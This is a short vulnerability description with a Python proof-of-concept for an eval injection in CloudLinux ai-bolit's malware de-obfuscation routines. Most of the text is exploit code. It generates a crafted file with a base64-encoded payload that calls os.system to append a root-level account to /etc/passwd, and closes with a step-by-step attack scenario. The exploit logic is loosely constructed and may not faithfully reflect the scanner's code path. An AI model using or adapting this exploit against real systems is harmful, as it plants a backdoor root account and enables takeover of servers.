An eval injection in the malware de-obfuscation routines of CloudLinux ai-bolit before v32.7.4 allows attackers to overwrite arbitrary files as root via scanning a crafted file.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-65530 PoC - Malicious file for ai-bolit eval injection
# This PoC demonstrates the concept of the eval injection vulnerability
# DO NOT use for malicious purposes
import base64
import os
def generate_malicious_file():
"""
Generate a malicious file that exploits the eval injection
in ai-bolit de-obfuscation routines
"""
# Payload to write a backdoor file as root
# This will be injected into the eval() call
malicious_payload = "__import__('os').system('echo \"root:WVVmX3RoX2V4cGxvaXQ6MTIz:0:0:root:/root:/bin/bash\" >> /etc/passwd')"
# Create a file that looks like obfuscated malware
# The ai-bolit scanner will attempt to de-obfuscate it
# and the malicious_payload will be executed via eval()
# Simple obfuscation layer (base64 encoding)
obfuscated = base64.b64encode(malicious_payload.encode()).decode()
# Create the malicious file content
# Format that ai-bolit might try to de-obfuscate
malicious_content = f'''#!/usr/bin/env python3
# [Obfuscated malware sample - DO NOT RUN]
# ai-bolit will attempt to de-obfuscate this
encoded_payload = "{obfuscated}"
decoded_payload = __import__('base64').b64decode(encoded_payload).decode()
# Vulnerable code: ai-bolit de-obfuscation routine
# This eval() call is vulnerable to injection
try:
exec(decoded_payload)
except:
eval(decoded_payload)
'''
return malicious_content
def main():
print("CVE-2025-65530 - CloudLinux ai-bolit Eval Injection PoC")
print("=" * 60)
print()
print("This PoC generates a malicious file that, when scanned by")
print("vulnerable ai-bolit versions, can execute arbitrary code")
print("with root privileges.")
print()
print("Generated malicious file content:")
print("-" * 60)
content = generate_malicious_file()
print(content)
print("-" * 60)
print()
print("Attack scenario:")
print("1. Attacker creates a malicious file using this template")
print("2. Attacker places the file on the target system")
print("3. When ai-bolit scans the file, the eval injection triggers")
print("4. Attacker gains root code execution")
print("5. Attacker can overwrite arbitrary files as root")
if __name__ == "__main__":
main()